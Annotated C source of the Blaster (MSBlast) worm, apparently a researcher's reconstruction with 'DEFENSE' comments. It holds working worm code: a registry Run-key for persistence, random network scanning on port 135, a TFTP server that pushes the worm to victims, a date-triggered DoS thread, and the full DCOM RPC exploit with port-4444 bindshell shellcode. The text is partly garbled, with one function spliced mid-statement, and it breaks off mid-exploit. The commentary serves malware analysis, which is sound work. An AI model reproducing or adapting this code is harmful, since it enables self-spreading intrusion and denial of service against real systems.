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http://rapidshare.com/files/332813905/blaster.c.html

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#include <ws2tcpip.h> /*IP_HDRINCL*/
#include <wininet.h> /*InternetGetConnectedState*/


#pragma comment (lib, "ws2_32.lib")
#pragma comment (lib, "wininet.lib")
#pragma comment (lib, "advapi32.lib")


/*
* These strings aren't used in the worm, Buford put them here
* so that whitehat researchers would discover them.
* BUFORD: Note that both of these messages are the typical
* behavior of a teenager who recently discovered love, and
* is in the normal teenage mode of challenging authority.
*/
const char msg1[]="I just want to say LOVE YOU SAN!!";
const char msg2[]="billy gates why do you make this possible ?"
" Stop making money and fix your software!!";


/*
* Buford probably put the worm name as a "define" at the top
* of his program so that he could change the name at any time.
* 2003-09-29: This is the string that Parson changed.
*/
#define MSBLAST_EXE "msblast.exe"

/*
* MS-RPC/DCOM runs over port 135.
* DEFENSE: firewalling port 135 will prevent systems from
* being exploited and will hinder the spread of this worm.
*/
#define MSRCP_PORT_135 135

/*
* The TFTP protocol is defined to run on port 69. Once this
* worm breaks into a victim, it will command it to download
* the worm via TFTP. Therefore, the worms briefly runs a
* TFTP service to deliver that file.
* DEFENSE: firewalling 69/udp will prevent the worm from
* fully infected a host.
*/
#define TFTP_PORT_69 69

/*
* The shell-prompt is established over port 4444. The
* exploit code (in the variable 'sc') commands the victim
* to "bind a shell" on this port. The exploit then connects
* to that port to send commands, such as TFTPing the
* msblast.exe file down and launching it.
* DEFENSE: firewalling 4444/tcp will prevent the worm from
* spreading.
*/
#define SHELL_PORT_4444 4444


/*
* A simple string to hold the current IP address
*/
char target_ip_string[16];

/*
* A global variable to hold the socket for the TFTP service.
*/
int fd_tftp_service;

/*
* Global flag to indicate this thread is running. This
* is set when the thread starts, then is cleared when
* the thread is about to end.
* This demonstrates that Buford isn't confident with
* multi-threaded programming -- he should just check
* the thread handle.
*/
int is_tftp_running;

/*
* When delivering the worm file to the victim, it gets the
* name by querying itself using GetModuleFilename(). This
* makes it easier to change the filename or to launch the
* worm. */
char msblast_filename[256+4];

int ClassD, ClassC, ClassB, ClassA;

int local_class_a, local_class_b;

int winxp1_or_win2k2;


ULONG WINAPI blaster_DoS_thread(LPVOID);
void blaster_spreader();
void blaster_exploit_target(int fd, const char *victim_ip);
void blaster_send_syn_packet(int target_ip, int fd);


/************************************************** *************
* This is where the 'msblast.exe' program starts running
************************************************** *************/
void main(int argc, char *argv[])
{
WSADATA WSAData;
char myhostname[512];
char daystring[3];
char monthstring[3];
HKEY hKey;
int ThreadId;
register unsigned long scan_local=0;

/*
* Create a registry key that will cause this worm
* to run every time the system restarts.
* DEFENSE: Slammer was "memory-resident" and could
* be cleaned by simply rebooting the machine.
* Cleaning this worm requires this registry entry
* to be deleted.
*/
RegCreateKeyEx(
/*hKey*/ HKEY_LOCAL_MACHINE,
/*lpSubKey*/ "SOFTWARE\\Microsoft\\Windows\\"
"CurrentVersion\\Run",
/*Reserved*/ 0,
/*lpClass*/ NULL,
/*dwOptions*/ REG_OPTION_NON_VOLATILE,
/*samDesired */ KEY_ALL_ACCESS,
/*lpSecurityAttributes*/ NULL,
/*phkResult */ &hKey,
/*lpdwDisposition */ 0);
RegSetValueExA(
hKey,
"windows auto update",
0,
REG_SZ,
MSBLAST_EXE,
50);
RegCloseKey(hKey);


/*
* Make sure this isn't a second infection. A common problem
* with worms is that they sometimes re-infect the same
* victim repeatedly, eventually crashing it. A crashed
* system cannot spread the worm. Therefore, worm writers
* now make sure to prevent reinfections. The way Blaster
* does this is by creating a system "global" object called
* "BILLY". If another program in the computer has already
* created "BILLY", then this instance won't run.
* DEFENSE: this implies that you can remove Blaster by
* creating a mutex named "BILLY". When the computer
* restarts, Blaster will falsely believe that it has
* already infected the system and will quit.
*/
CreateMutexA(NULL, TRUE, "BILLY");
if (GetLastError() == ERROR_ALREADY_EXISTS)
ExitProcess(0);

/*
* Windows systems requires "WinSock" (the network API layer)
* to be initialized. Note that the SYNflood attack requires
* raw sockets to be initialized, which only works in
* version 2.2 of WinSock.
* BUFORD: The following initialization is needlessly
* complicated, and is typical of programmers who are unsure
* of their knowledge of sockets..
*/
if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0
&& WSAStartup(MAKEWORD(1,1), &WSAData) != 0
&& WSAStartup(1, &WSAData) != 0)
return;

/*
* The worm needs to read itself from the disk when
* transferring to the victim. Rather than using a hard-coded
* location, it discovered the location of itself dynamically
* through this function call. This has the side effect of
* making it easier to change the name of the worm, as well
* as making it easier to launch it.
*/
GetModuleFileNameA(NULL, msblast_filename,
sizeof(msblast_filename));

/*
* When the worm infects a dialup machine, every time the user
* restarts their machine, the worm's network communication
* will cause annoying 'dial' popups for the user. This will
* make them suspect their machine is infected.
* The function call below makes sure that the worm only
* starts running once the connection to the Internet
* has been established and not before.
* BUFORD: I think Buford tested out his code on a machine
* and discovered this problem. Even though much of the
* code indicates he didn't spend much time on
* testing his worm, this line indicates that he did
* at least a little bit of testing.
*/
while (!InternetGetConnectedState(&ThreadId, 0))
Sleep (20000); /*wait 20 seconds and try again */

/*
* Initialize the low-order byte of target IP address to 0.
*/
ClassD = 0;

/*
* The worm must make decisions "randomly": each worm must
* choose different systems to infect. In order to make
* random choices, the programmer must "seed" the random
* number generator. The typical way to do this is by
* seeding it with the current timestamp.
* BUFORD: Later in this code you'll find that Buford calls
* 'srand()' many times to reseed. This is largely
* unnecessary, and again indicates that Buford is not
* confident in his programming skills, so he constantly
* reseeds the generator in order to make extra sure he
* has gotten it right.
*/
srand(GetTickCount());

/*
* This initializes the "local" network to some random
* value. The code below will attempt to figure out what
* the true local network is -- but just in case it fails,
* the initialization fails, using random values makes sure
* the worm won't do something stupid, such as scan the
* network around 0.0.0.0
*/
local_class_a = (rand() % 254)+1;
local_class_b = (rand() % 254)+1;

/*
* This discovers the local IP address used currently by this
* victim machine. Blaster randomly chooses to either infect
* just the local ClassB network, or some other network,
* therefore it needs to know the local network.
* BUFORD: The worm writer uses a complex way to print out
* the IP address into a string, then parse it back again
* to a number. This demonstrates that Buford is fairly
* new to C programming: he thinks in terms of the printed
* representation of the IP address rather than in its
* binary form.
*/
if (gethostname(myhostname, sizeof(myhostname)) != -1) {
HOSTENT *p_hostent = gethostbyname(myhostname);

if (p_hostent != NULL && p_hostent->h_addr != NULL) {
struct in_addr in;
const char *p_addr_item;

memcpy(&in, p_hostent->h_addr, sizeof(in));
sprintf(myhostname, "%s", inet_ntoa(in));

p_addr_item = strtok(myhostname, ".");
ClassA = atoi(p_addr_item);

p_addr_item = strtok(0, ".");
ClassB = atoi(p_addr_item);

p_addr_item = strtok(0, ".");
ClassC = atoi(p_addr_item);

if (ClassC > 20) {
/* When starting from victim's address range,
* try to start a little bit behind. This is
* important because the scanning logic only
* move forward. */
srand(GetTickCount());
ClassC -= (rand() % 20);
}
local_class_a = ClassA;
local_class_b = ClassB;
scan_local = TRUE;
}
}


/*
* This chooses whether Blaster will scan just the local
* network (40% chance) or a random network (60% chance)
*/
srand(GetTickCount());
if ((rand() % 20) < 12)
scan_local = FALSE;

/*
* The known exploits require the hacker to indicate whether
* the victim is WinXP or Win2k. The worm has to guess. The
* way it guesses is that it chooses randomly. 80% of the time
* it will assume that all victims are WinXP, and 20% of the
* time it will assume all victims are Win2k. This means that
* propogation among Win2k machines will be slowed down by
* the fact Win2k machines are getting DoSed faster than they
* are getting exploited.
*/
winxp1_or_win2k2 = 1;
if ((rand()%10) > 7)
winxp1_or_win2k2 = 2;

/*
* If not scanning locally, then choose a random IP address
* to start with.
* BUG: this worm choose bad ranges above 224. This will
* cause a bunch of unnecessary multicast traffic. Weird
* multicast traffic has historically been an easy way of
* detecting worm activity.
*/
if (!scan_local) {
ClassA = (rand() % 254)+1;
ClassB = (rand() % 254);
ClassC = (rand() % 254);
}


/*
* Check the date so that when in the certain range, it will
* trigger a DoS attack against Micosoft. The following
* times will trigger the DoS attack:
* Aug 16 through Aug 31
* Spt 16 through Spt 30
* Oct 16 through Oct 31
* Nov 16 through Nov 30
* Dec 16 through Dec 31
* This applies to all years, and is based on local time.
* FAQ: The worm is based on "local", not "global" time.
* That means the DoS attack will start from Japan,
* then Asia, then Europe, then the United States as the
* time moves across the globe.
*/
#define MYLANG MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT)
#define LOCALE_409 MAKELCID(MYLANG, SORT_DEFAULT)
GetDateFormat( LOCALE_409,
0,
NULL, /*localtime, not GMT*/
"d",
daystring,
sizeof(daystring));
GetDateFormat( LOCALE_409,
0,
NULL, /*localtime, not GMT*/
"M",
monthstring,
sizeof(monthstring));
if (atoi(daystring) > 15 && atoi(monthstring) > 8)
CreateThread(NULL, 0,
blaster_DoS_thread,
0, 0, &ThreadId);

/*
* As the final task of the program, go into worm mode
* trying to infect systems.
*/
for (;;)
blaster_spreader();

/*
* It'll never reach this point, but in theory, you need a
* WSACleanup() after a WSAStartup().
*/
WSACleanup();
}



/*
* This will be called from CreateThread in the main worm body
* right after it connects to port 4444. After the thread is
* started, it then sends the string "
* tftp -i %d.%d.%d.%d GET msblast.exe" (where the %ds represents
* the IP address of the attacker).
* Once it sends the string, it then waits for 20 seconds for the
* TFTP server to end. If the TFTP server doesn't end, it calls
* TerminateThread.
*/
DWORD WINAPI blaster_tftp_thread(LPVOID p)
{
/*
* This is the protocol format of a TFTP packet. This isn't
* used in the code -- I just provide it here for reference
*/
struct TFTP_Packet
{
short opcode;
short block_id;
char data[512];
};

char reqbuf[512]; /* request packet buffer */
struct sockaddr_in server; /* server-side port number */
struct sockaddr_in client; /* client IP address and port */
int sizeof_client; /* size of the client structure*/
char rspbuf[512]; /* response packet */

static int fd; /* the socket for the server*/
register FILE *fp;
register block_id;
register int block_size;

/* Set a flag indicating this thread is running. The other
* thread will check this for 20 seconds to see if the TFTP
* service is still alive. If this thread is still alive in
* 20 seconds, it will be killed.
*/
is_tftp_running = TRUE; /*1 == TRUE*/

/* Create a server-socket to listen for UDP requests on */
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd == SOCKET_ERROR)
goto closesocket_and_exit;

/* Bind the socket to 69/udp */
memset(&server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_port = htons(TFTP_PORT_69);
server.sin_addr.s_addr = 0; /*TFTP server addr = <any>*/
if (bind(fd, (struct sockaddr*)&server, sizeof(server)) != 0)
goto closesocket_and_exit;

/* Receive a packet, any packet. The contents of the received
* packet are ignored. This means, BTW, that a defensive
* "worm-kill" could send a packet from somewhere else. This
* will cause the TFTP server to download the msblast.exe
* file to the wrong location, preventing the victim from
* doing the download. */
sizeof_client = sizeof(client);
if (recvfrom(fd, reqbuf, sizeof(reqbuf), 0,
(struct sockaddr*)&client, &sizeof_client) <= 0)
goto closesocket_and_exit;

/* The TFTP server will respond with many 512 byte blocks
* until it has completely sent the file; each block must
* have a unique ID, and each block must be acknowledged.
* BUFORD: The worm ignores TFTP ACKs. This is probably why
* the worm restarts the TFTP service rather than leaving it
* enabled: it essentially flushes all the ACKs from the
* the incoming packet queue. If the ACKs aren't flushed,
* the worm will incorrectly treat them as TFTP requests.
*/
block_id = 0;

/* Open this file. GetModuleFilename was used to figure out
* this filename. */
fp = fopen(msblast_filename, "rb");
if (fp == NULL)
goto closesocket_and_exit;

/* Continue sending file fragments until none are left */
for (;;) {
block_id++;

/* Build TFTP header */
#define TFTP_OPCODE_DATA 3
*(short*)(rspbuf+0) = htons(TFTP_OPCODE_DATA);
*(short*)(rspbuf+2)= htons((short)block_id);

/* Read next block of data (about 12 blocks total need
* to be read) */
block_size = fread(rspbuf+4, 1, 512, fp);

/* Increase the effective length to include the TFTP
* head built above */
block_size += 4;

/* Send this block */
if (sendto(fd, (char*)&rspbuf, block_size,
0, (struct sockaddr*)&client, sizeof_client) <= 0)
break;

/* Sleep for a bit.
* The reason for this is because the worm doesn't care
* about retransmits -- it therefore must send these
* packets slow enough so congestion doesn't drop them.
* If it misses a packet, then it will DoS the victim
* without actually infecting it. Worse: the intended
* victim will continue to send packets, preventing the
* worm from infecting new systems because the
* requests will misdirect TFTP. This design is very
* bad, and is my bet as the biggest single factor
* that slows down the worm. */
Sleep(900);

/* File transfer ends when the last block is read, which
* will likely be smaller than a full-sized block*/
if (block_size != sizeof(rspbuf)) {
fclose(fp);
fp = NULL;
break;
}
}

if (fp != NULL)
fclose(fp);

closesocket_and_exit:

/* Notify that the thread has stopped, so that the waiting
* thread can continue on */
is_tftp_running = FALSE;
closesocket(fd);
ExitThread(0);

return 0;
}




/*
* This function increments the IP address.
* BUFORD: This conversion from numbers, to strings, then back
* to number is overly complicated. Experienced programmers
* would simply store the number and increment it. This shows
* that Buford does not have much experience work with
* IP addresses.
*/
void blaster_increment_ip_address()
{
for (;;) {
if (ClassD <= 254) {
ClassD++;
return;
}

ClassD = 0;
ClassC++;
if (ClassC <= 254)
return;
ClassC = 0;
ClassB++;
if (ClassB <= 254)
return;
ClassB = 0;
ClassA++;
if (ClassA <= 254)
continue;
ClassA = 0;
return;
}
}


/*
* This is called from the main() function in an
* infinite loop. It scans the next 20 addresses,
* then exits.
*/
void blaster_spreader()
{
fd_set writefds;

register int i;
struct sockaddr_in sin;
struct sockaddr_in peer;
int sizeof_peer;
int sockarray[20];
int opt = 1;
const char *victim_ip;

/* Create the beginnings of a "socket-address" structure that
* will be used repeatedly below on the 'connect()' call for
* each socket. This structure specified port 135, which is
* the port used for RPC/DCOM. */
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;mer would have done
* a single 'select()' across all sockets rather than
* repeated calls for each socket. */
for (i=0; i<20; i++) {
struct timeval timeout;
int nfds;

timeout.tv_sec = 0;
timeout.tv_usec = 0;
nfds = 0;

FD_ZERO(&writefds);
FD_SET((unsigned)sockarray[i], &writefds);

if (select(0, NULL, &writefds, NULL, &timeout) != 1) {
closesocket(sockarray[i]);
} else {
sizeof_peer = sizeof(peer);
getpeername(sockarray[i],
(struct sockaddr*)&peer, &sizeof_peer);
victim_ip = inet_ntoa(peer.sin_addr);

/* If connection succeeds, exploit the victim */
blaster_exploit_target(sockarray[i], victim_ip);
closesocket(sockarray[i]);
}
}

}

/*
* This is where the victim is actually exploited. It is the same
* exploit as created by xfocus and altered by HDMoore.
* There are a couple of differences. The first is that the in
* those older exploits, this function itself would create the
* socket and connect, whereas in Blaster, the socket is already
* connected to the victim via the scanning function above. The
* second difference is that the packets/shellcode blocks are
* declared as stack variables rather than as static globals.
* Finally, whereas the older exploits give the hacker a
* "shell prompt", this one automates usage of the shell-prompt
* to tell the victim to TFTP the worm down and run it.
*/
void blaster_exploit_target(int sock, const char *victim_ip)
{

/* These blocks of data are just the same ones copied from the
* xfocus exploit prototype. Whereas the original exploit
* declared these as "static" variables, Blaster declares
* these as "stack" variables. This is because the xfocus
* exploit altered them -- they must be reset back to their
* original values every time. */
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00, 0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00, 0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00, 0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8, 0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};



unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00 ,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2 ,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00 ,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00 ,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF0 0,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 ,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 ,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 ,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00 ,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00 ,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00 ,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00 ,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00 ,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00 ,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11 ,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00 ,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00 ,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57 ,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00 ,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00 ,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00 ,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85 ,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00 ,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00 ,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00 ,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00 ,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00 ,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00 ,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00 };


unsigned char sc[]=
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\ x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\ x46\x00\x58\x00"
"\x46\x00\x58\x00\x46\x00\x58\x00"

"\xff\xff\xff\xff" /* return address */

"\xcc\xe0\xfd\x7f" /* primary thread data block */
"\xcc\xe0\xfd\x7f" /* primary thread data block */

/* port 4444 bindshell */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\ x81\xe9\x89\xff"
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\ xff\xff\xe2\xf2"
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\ x57\x75\x95\x80"
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\ xbe\x32\x94\x09"
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\ xbf\x32\x1d\xc6"
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\ xc8\x41\xa6\xdf"
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\ x0c\x24\x7c\xad"
"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\ xcc\xda\x8a\x81"
"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\ x84\xda\x9a\x81"
"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\ x12\xda\x6a\x80"
"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\ x78\xda\x7a\x80"
"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\ x56\xda\x4a\x80"
"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\ xf6\xda\x5a\x80"
"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\ xc6\xda\x2a\x80"
"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\ xbf\x66\xfc\x81"
"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\ xff\x62\x6b\xd6"
"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\ xd5\x24\xc5\xd3"
"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\ xe9\x1a\x1f\x50"
"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\ x8f\xb1\x78\xd4"
"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\ x42\xf4\xd0\xa4"
"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\ x9b\x7e\x1d\xd4"
"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\ xbe\x63\xc5\x7f"
"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\ x40\x64\x98\x0b"
"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\ x8f\x32\x94\x80"
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\ xd7\x3a\x7f\x89"
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\ xe2\xf0\x90\x80"
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\ xeb\x37\xec\x83"
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\ x34\x06\x1f\x83"
"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\ x70\x3f\x97\x78"
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\ x62\x54\x1f\x8c"
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\ xbd\x01\x54\x0b"
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04" ;



unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00 ,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00 ,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00
};

int ThreadId;
int len;
int sizeof_sa;
int ret;
int opt;
void *hThread;
struct sockaddr_in target_ip;
struct sockaddr_in sa;
int fd;
char cmdstr[0x200];
int len1;
unsigned char buf2[0x1000];
int i;

/*
* Turn off non-blocking (i.e. re-enable blocking mode)
* DEFENSE: Tarpit programs (e.g. 'labrea' or 'deredoc')
* will slow down the spread of this worm. It takes a long
* time for blocking calls to timeout. I had several
* thousand worms halted by my 'deredoc' tarpit.
*/
opt = 0;
ioctlsocket(sock, FIONBIO , &opt);

/*
* Choose whether the exploit targets Win2k or WinXP.
*/
if (winxp1_or_win2k2 == 1)
ret = 0x100139d;
else
ret = 0x18759f;
memcpy(sc+36, (unsigned char *) &ret, 4);

/* ----------------------------------------------
* This section is just copied from the original exploit
* script. This is the same as the scripts that have been
* widely published on the Internet. */
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);

*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;
*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;

memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);

*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;


*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;

if (send(sock,bindstr,sizeof(bindstr),0)== -1)
{
//perror("- Send");
return;
}


if (send(sock,buf2,len1,0)== -1)
